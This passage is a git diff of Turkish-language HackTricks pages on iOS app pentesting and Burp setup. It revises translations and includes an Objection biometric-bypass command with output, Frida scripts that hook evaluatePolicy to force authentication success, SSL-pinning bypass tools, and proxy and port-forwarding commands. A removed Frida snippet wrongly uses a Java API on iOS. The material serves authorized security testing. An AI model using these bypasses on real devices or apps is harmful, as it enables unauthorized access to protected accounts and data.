kullanmaktır, böylece gerçek kimlik doğrulama başarısından bağımsız olarak sürekli olarak `True` sonucu vermesini sağlar. Bu, hatalı biyometrik kimlik doğrulama süreçlerini atlamak için özellikle yararlıdır. -Bu atlama işlemini etkinleştirmek için aşağıdaki komut kullanılır: +Bu atlatmayı etkinleştirmek için aşağıdaki komut kullanılır: ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable @@ -969,11 +978,11 @@ Bu atlama işlemini etkinleştirmek için aşağıdaki komut kullanılır: (agent) [3mhtws9x47q] Marking OS response as True instead (agent) [3mhtws9x47q] Biometrics bypass hook complete ``` -Bu komut, Objection'ın `evaluatePolicy` kontrolünün sonucunu etkili bir şekilde `True` olarak değiştiren bir görev kaydeder. +Bu komut, Objection'ın bir görev kaydettiği bir sıra başlatır ve `evaluatePolicy` kontrolünün sonucunu etkili bir şekilde `True` olarak değiştirir. #### Frida -[DVIA-v2 uygulaması](https://github.com/prateek147/DVIA-v2)ndan bir **`evaluatePolicy`** kullanımı örneği: +[DVIA-v2 uygulaması](https://github.com/prateek147/DVIA-v2)'ndan **`evaluatePolicy`** kullanımına bir örnek: ```swift +(void)authenticateWithTouchID { LAContext *myContext = [[LAContext alloc] init]; @@ -1001,19 +1010,9 @@ dispatch_async(dispatch_get_main_queue(), ^{ } } ``` -**Bypass** işlemini gerçekleştirmek için, bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alır ve geri çağırımını değiştirerek her zaman **success=1** döndürülmesini sağlar. Geri çağırımın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır. +**Yerel Kimlik Doğrulaması**nın **atlatılması** için bir Frida betiği yazılır. Bu betik, **evaluatePolicy** kontrolünü hedef alarak, geri aramasını onaylamak için **success=1** değerini döndürmesini sağlar. Geri aramanın davranışını değiştirerek, kimlik doğrulama kontrolü etkili bir şekilde atlatılır. -Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri çağırımın sonucunu her zaman başarı olarak gösterir. - -```javascript -// Frida script to bypass Local Authentication -Java.perform(function() { - var LAContext = Java.use('LocalAuthentication.LAContext'); - LAContext.evaluatePolicy_withReply_implementation.implementation = function(policy, reply) { - reply(1, null); - }; -}); -``` +Aşağıdaki betik, **evaluatePolicy** yönteminin sonucunu değiştirmek için enjekte edilir. Geri aramanın sonucunu her zaman başarı olarak gösterir. ```swift // from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/ if(ObjC.available) { @@ -1035,11 +1034,11 @@ return result; console.log("Objective-C Runtime is not available!"); } ``` -Frida betiği enjekte etmek ve biyometrik kimlik doğrulamayı atlamak için aşağıdaki komut kullanılır: +Frida betiği enjekte etmek ve biyometrik kimlik doğrulamasını atlamak için aşağıdaki komut kullanılır: ```bash frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js ``` -## IPC Aracılığıyla Hassas İşlevlerin Açığa Çıkarılması +## IPC Aracılığıyla Hassas Fonksiyonelliğin Açığa Çıkması ### Özel URI İşleyicileri / Derin Bağlantılar / Özel Şemalar @@ -1085,56 +1084,56 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i ## Ağ İletişimi -**Şifreleme olmadan** gerçekleşen iletişimin olmadığını ve uygulamanın sunucunun **TLS sertifikasını doğru bir şekilde doğruladığını** kontrol etmek önemlidir.\ +**Şifreleme olmadan** gerçekleşen iletişimi kontrol etmek önemlidir ve ayrıca uygulamanın sunucunun TLS sertifikasını doğru bir şekilde **doğruladığından** emin olmak da önemlidir.\ Bu tür sorunları kontrol etmek için **Burp** gibi bir proxy kullanabilirsiniz: {% content-ref url="burp-configuration-for-ios.md" %} [burp-configuration-for-ios.md](burp-configuration-for-ios.md) {% endcontent-ref %} -### Ana bilgisayar adı kontrolü +### Ana Bilgisayar Adı Kontrolü -TLS sertifikasını doğrularken yaygın bir sorun, sertifikasının **güvenilir bir CA tarafından imzalandığını** kontrol etmek, ancak sertifikasının erişilen ana bilgisayar adı olup olmadığını **kontrol etmemektir**.\ -Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, **farklı bir ana bilgisayar adı için Burp ile yeni bir sertifika oluşturabilir** ve bunu kullanabilirsiniz. Uygulama hala çalışıyorsa, bir şeyin savunmasız olduğu anlamına gelir. +TLS sertifikasını doğrularken karşılaşılan yaygın bir sorun, sertifikanın bir **güvenilir CA** tarafından imzalandığını kontrol etmek, ancak sertifikanın **erişilen ana bilgisayar adı** olup olmadığını kontrol etmemektir.\ +Bu sorunu Burp kullanarak kontrol etmek için, iPhone'da Burp CA'ya güven verdikten sonra, Burp ile farklı bir ana bilgisayar adı için yeni bir sertifika **oluşturabilir ve kullanabilirsiniz**. Uygulama hala çalışıyorsa, bir zafiyet olabilir. ### Sertifika Pinleme -Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışır. Bir uygulamayı test ederken, Burp kendi sertifikasını sunacağından bu bir sorun olabilir.\ -Bu korumayı bir jailbroken cihazda atlamak için, [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) uygulamasını veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) uygulamasını yükleyebilirsiniz. +Bir uygulama SSL Pinning'i doğru bir şekilde kullanıyorsa, uygulama yalnızca beklenen sertifika olduğunda çalışır. Bir uygulamayı test ederken **bu bir sorun olabilir çünkü Burp kendi sertifikasını sunar.**\ +Bu korumayı bir jailbroken cihazda atlamak için, uygulamayı [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) veya [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) yükleyebilirsiniz. -Ayrıca **objection**'ın `ios sslpinning disable` komutunu da kullanabilirsiniz. +Ayrıca **objection**'ın `ios sslpinning disable` komutunu kullanabilirsiniz. ## Çeşitli -* **`/System/Library`** dizininde, sistem uygulamaları tarafından kullanılan telefona yüklenen çerçeveleri bulabilirsiniz. -* Kullanıcının App Store'dan yüklediği uygulamalar **`/User/Applications`** dizininde bulunur. +* **`/System/Library`** dizininde, sistem uygulamaları tarafından kullanılan telefon üzerinde yüklü çerçeveleri bulabilirsiniz. +* Kullanıcı tarafından App Store'dan yüklenen uygulamalar **`/User/Applications`** dizininde bulunur. * Ve **`/User/Library`** kullanıcı düzeyindeki uygulamalar tarafından kaydedilen verileri içerir. * Uygulama içinde kaydedilen notları okumak için **`/User/Library/Notes/notes.sqlite`**'e erişebilirsiniz. -* Yüklenen bir uygulamanın klasörü içinde (**`/User/Applications//`**) bazı ilginç dosyalar bulabilirsiniz: -* **`iTunesArtwork`**: Uygulama tarafından kullanılan simge -* **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri -* **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka planda gönderilmeden önce yapılan anlık görüntüsünü bulabilirsiniz. +* Yüklenmiş bir uygulamanın klasörü içinde (**`/User/Applications//`**) bazı ilginç dosyalar bulabilirsiniz: + * **`iTunesArtwork`**: Uygulama tarafından kullanılan simge + * **`iTunesMetadata.plist`**: App Store'da kullanılan uygulama bilgileri + * **`/Library/*`**: Tercihleri ve önbelleği içerir. **`/Library/Cache/Snapshots/*`** içinde, uygulamanın arka plana gönderilmeden önce yapılan anlık görüntüleri bulabilirsiniz. -### Sıcak Yama / Zorunlu Güncelleme +### Sıcak Yama/Zorunlu Güncelleme -Geliştiriciler, uygulamalarının tüm kurulumlarını yeniden göndermek ve onaylanmasını beklemek zorunda kalmadan anında **tüm kurulumlarını uzaktan düzeltebilirler**.\ -Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de vardır.\ +Geliştiriciler, uygulamalarının tüm yüklemelerini **anında uzaktan yamalayabilir** ve uygulamayı App Store'a yeniden gönderip onaylanmasını beklemek zorunda kalmazlar.\ +Bu amaçla genellikle [**JSPatch**](https://github.com/bang590/JSPatch) gibi araçlar kullanılır. Ancak [Siren](https://github.com/ArtSabintsev/Siren) ve [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker) gibi diğer seçenekler de mevcuttur.\ **Bu, kötü niyetli üçüncü taraf SDK'ları tarafından kötüye kullanılabilecek tehlikeli bir mekanizmadır, bu nedenle otomatik güncelleme için hangi yöntemin kullanıldığını kontrol etmeniz ve test etmeniz önerilir.** Bu amaçla uygulamanın önceki bir sürümünü indirmeyi deneyebilirsiniz. -### Üçüncü Taraf Hizmetleri +### Üçüncü Taraflar -**3. taraf SDK'ları** ile ilgili önemli bir zorluk, bu SDK'ların işlevlerinin **ayrıntılı kontrolünün eksikliği**dir. Geliştiriciler bir seçimle karşı karşıyadır: SDK'yı entegre etmek ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul etmek veya tamamen faydalarından vazgeçmek. Bu SDK'lar içindeki güvenlik açıklarını kendileri yamalayamazlar. Dahası, SDK'lar toplulukta güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir. +**3. taraf SDK'ları** ile önemli bir zorluk, işlevsellikleri üzerinde **ayrıntılı kontrol eksikliğidir**. Geliştiriciler, ya SDK'yı entegre eder ve potansiyel güvenlik açıkları ve gizlilik endişeleri de dahil olmak üzere tüm özelliklerini kabul eder ya da tamamen faydalarından vazgeçer. Genellikle, geliştiriciler bu SDK'ların içindeki güvenlik açıklarını kendileri yamayamazlar. Ayrıca, SDK'lar topluluk içinde güven kazandıkça, bazıları kötü amaçlı yazılım içerebilir. -Üçüncü taraf SDK'ların sağladığı hizmetler, kullanıcı davranış izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri gibi olabilir. Ancak bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamasına ve potansiyel gizlilik ve güvenlik risklerine yol açabilecek potansiyel risklere neden olur. Üçüncü taraf hizmetlerle paylaşılan bilgilerin, Kişisel Tanımlanabilir Bilgilerin (PII) ifşa edilmesini önlemek için **anonimleştirilmesi** önemlidir. +Üçüncü taraf SDK'ların sağladığı hizmetler arasında kullanıcı davranışlarını izleme, reklam gösterimi veya kullanıcı deneyimi iyileştirmeleri bulunabilir. Ancak, bu, geliştiricilerin bu kütüphaneler tarafından yürütülen kodun tam olarak farkında olmamalarına ve potansiyel gizlilik ve güvenlik risklerine yol açabilir. Üçüncü taraf hizmetlerle paylaşılan bilgilerin sınırlı olması ve hassas verilerin açığa çıkarılmamasının sağlanması önemlidir. -Bir uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalı ve ek kütüphaneler keşfedilmelidir. +Uygulamanın kullandığı kütüphaneleri belirlemek için **`otool`** komutu kullanılabilir. Bu araç, uygulama ve kullandığı her paylaşılan kütüphane üzerinde çalıştırılmalıdır, böylece ek kütüphaneler keşfedilebilir. ```bash otool -L ``` ## **Referanslar ve Daha Fazla Kaynak** * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) -* [iOS ve Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) +* [iOS & Mobil Uygulama Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) * [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0057/) * [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0058/) * [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0059/) @@ -1155,28 +1154,28 @@ otool -L * [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) * [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2) * [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground) -* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C sürümü [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift sürümü +* OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C versiyonu [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift versiyonu * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) * [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin! +Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live). -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com) +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
diff --git a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md index e6be136b8..2b09b92ca 100644 --- a/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -2,81 +2,86 @@
-AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert)! +AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'ı desteklemenin diğer yolları: +HackTricks'i desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. -* Hacking hilelerinizi [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-
+
\ -Dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ +Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## iOS Cihazlarda Burp Sertifikasının Yüklenmesi +## iOS Cihazlarında Burp Sertifikasının Yüklenmesi -iOS cihazlarda güvenli web trafiği analizi ve SSL pinning için Burp Suite, **Burp Mobile Assistant** veya manuel yapılandırma yoluyla kullanılabilir. İki yöntem hakkında özetlenmiş bir kılavuz aşağıda verilmiştir: +iOS cihazlarda güvenli web trafiği analizi ve SSL pinning için, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. İşte her iki yöntem için özetlenmiş bir kılavuz: ### Burp Mobile Assistant ile Otomatik Yükleme -**Burp Mobile Assistant**, Burp Sertifikası, proxy yapılandırması ve SSL Pinning'in kurulum sürecini basitleştirir. Detaylı rehberlik için [PortSwigger'ın resmi belgelerine](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bakabilirsiniz. + +**Burp Mobile Assistant**, Burp Sertifikası'nın yüklenmesi, proxy yapılandırması ve SSL Pinning işlemini basitleştirir. Detaylı rehberliği [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bulabilirsiniz. ### Manuel Yükleme Adımları -1. **Proxy Yapılandırması:** İPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın. -2. **Sertifika İndirme:** Cihazınızın tarayıcısında `http://burp` adresine giderek sertifikayı indirin. -3. **Sertifika Yüklemesi:** İndirilen profilin **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin ve ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin. + +1. **Proxy Yapılandırması:** İlk olarak, iPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın. +2. **Sertifika İndirme:** Cihazınızın tarayıcısında sertifikayı indirmek için `http://burp` adresine gidin. +3. **Sertifika Yüklemesi:** İndirilen profili **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin. ### İnterception Proxy Yapılandırma -Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar ve istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Kullanılamıyorsa, usbmuxd aracılığıyla USB bağlantısı alternatif olarak kullanılabilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yüklemesi](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) konusunda detaylı talimatlar sağlar. -### Jailbreakli Cihazlar için Gelişmiş Yapılandırma -Jailbreakli cihazlara sahip kullanıcılar için SSH üzerinden USB (via **iproxy**) doğrudan trafiği Burp üzerinden yönlendirmek için bir yöntem sunar: +Bu yapılandırma, iOS cihazı ile internet arasındaki trafiğin Burp üzerinden analiz edilmesini sağlar, istemci-istemci trafiğını destekleyen bir Wi-Fi ağı gerektirir. Mevcut değilse, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yüklemesi](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında detaylı talimatlar sağlar. + +### Jailbreak Yapılmış Cihazlar için Gelişmiş Yapılandırma + +Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (via **iproxy**) doğrudan trafiği Burp üzerinden yönlendirmek için bir yöntem sunar: + +1. **SSH Bağlantısı Kurma:** SSH'yi localhost'a yönlendirmek için iproxy kullanarak SSH bağlantısı kurun, böylece iOS cihazından Burp çalıştıran bilgisayara bağlantı sağlanır. -1. **SSH Bağlantısı Kurma:** iproxy kullanarak SSH'yi localhost'a yönlendirerek iOS cihazından Burp çalıştıran bilgisayara bağlantıya izin verin. ```bash iproxy 2222 22 ``` -2. **Uzaktan Port Yönlendirme:** iOS cihazının 8080 numaralı bağlantı noktasını bilgisayarın localhost'una yönlendirerek Burp'un arayüzüne doğrudan erişimi etkinleştirin. +2. **Uzak Port Yönlendirme:** iOS cihazının 8080 portunu bilgisayarın localhost'una yönlendirerek Burp'un arayüzüne doğrudan erişimi sağlamak için. + ```bash ssh -R 8080:localhost:8080 root@localhost -p 2222 ``` -3. **Genel Proxy Ayarı:** Son olarak, iOS cihazının Wi-Fi ayarlarını manuel bir proxy kullanacak şekilde yapılandırarak tüm web trafiğini Burp üzerinden yönlendirin. - +3. **Global Proxy Ayarı:** Son olarak, iOS cihazının Wi-Fi ayarlarını manuel bir proxy kullanacak şekilde yapılandırarak tüm web trafiğini Burp üzerinden yönlendirin. ### Tam Ağ İzleme/Sniffing -iOS cihazlarda HTTP olmayan cihaz trafiğinin izlenmesi, tüm veri trafiğini yakalayabilen bir araç olan **Wireshark** kullanılarak verimli bir şekilde gerçekleştirilebilir. iOS cihazlar için gerçek zamanlı trafik izlemesi, bir Uzak Sanal Arayüz oluşturarak kolaylaştırılır ve bu işlem [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) ayrıntılı olarak açıklanmıştır. Başlamadan önce, bir macOS sisteminde **Wireshark**'ın kurulu olması gerekmektedir. +**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin izlenmesi etkili bir şekilde gerçekleştirilebilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazlar için, gerçek zamanlı trafik izleme, bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, macOS sistemine **Wireshark**'ın yüklenmesi gerekmektedir. -İşlem birkaç önemli adım içerir: +Prosedür birkaç temel adımı içerir: -1. iOS cihazı ile macOS ana bilgisayar arasında USB aracılığıyla bir bağlantı başlatın. -2. Trafik izlemek için iOS cihazının **UDID**'sini belirleyin. Bu, macOS Terminalinde bir komut çalıştırılarak yapılabilir: +1. iOS cihazı ile macOS ana bilgisayar arasında USB üzerinden bir bağlantı başlatın. +2. Trafik izleme için gerekli olan iOS cihazının **UDID**'sini belirleyin. Bu, macOS Terminal'de bir komut çalıştırılarak yapılabilir: ```bash $ rvictl -s Starting device [SUCCEEDED] with interface rvi0 ``` -3. UDID'nin tespit edilmesinden sonra, **Wireshark** açılmalı ve veri yakalamak için "rvi0" arayüzü seçilmelidir. -4. Belirli bir IP adresiyle ilgili HTTP trafiğini yakalamak gibi hedeflenen izleme için, Wireshark'ın Yakalama Filtreleri kullanılabilir: +3. UDID'nin tespitinden sonra, **Wireshark** açılmalı ve veri yakalamak için "rvi0" arayüzü seçilmelidir. +4. Belirli bir IP adresi ile ilgili HTTP trafiğini yakalamak gibi hedefli izleme için, Wireshark'ın Yakalama Filtreleri kullanılabilir: -## Simülatöre Burp Sertifikası Yükleme +## Simülatöre Burp Sertifikası Kurulumu * **Burp Sertifikasını Dışa Aktar** -_Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER formatında sertifika_ +_Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER formatında Sertifika_ ![](<../../.gitbook/assets/image (459).png>) * Sertifikayı Emülatöre **sürükleyip bırakın** -* **Emülatör içinde** _Ayarlar_ --> _Genel_ --> _Profil_ --> _PortSwigger CA_'ya gidin ve **sertifikayı doğrulayın** -* **Emülatör içinde** _Ayarlar_ --> _Genel_ --> _Hakkında_ --> _Sertifika Güven Ayarları_'na gidin ve **PortSwigger CA'yı etkinleştirin** +* **Emülatörde**, _Ayarlar_ --> _Genel_ --> _Profil_ --> _PortSwigger CA_, ve **sertifikayı doğrulayın** +* **Emülatörde**, _Ayarlar_ --> _Genel_ --> _Hakkında_ --> _Sertifika Güven Ayarları_, ve **PortSwigger CA'yı etkinleştirin** ![](<../../.gitbook/assets/image (460).png>) @@ -90,32 +95,32 @@ _Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER format Burp'u proxy olarak yapılandırma adımları: -* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_ bölümüne gidin +* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_ gidin * _Proxyler_ sekmesinde _Web Proxy (HTTP)_ ve _Güvenli Web Proxy (HTTPS)_ işaretleyin -* Her iki seçenekte de _127.0.0.1:8080_ olarak yapılandırın +* Her iki seçenekte de _127.0.0.1:8080_ şeklinde yapılandırın ![](<../../.gitbook/assets/image (461).png>) -* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_ düğmesine tıklayın +* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_ düğmesine basın -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturmayı ve otomatikleştirmeyi kolayca yapın.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
-htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin! +htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin! HackTricks'i desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklam vermek isterseniz veya HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) göz atın -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.** -* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github reposuna PR göndererek **hacking hilelerinizi paylaşın**. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu +* 💬 [**Discord 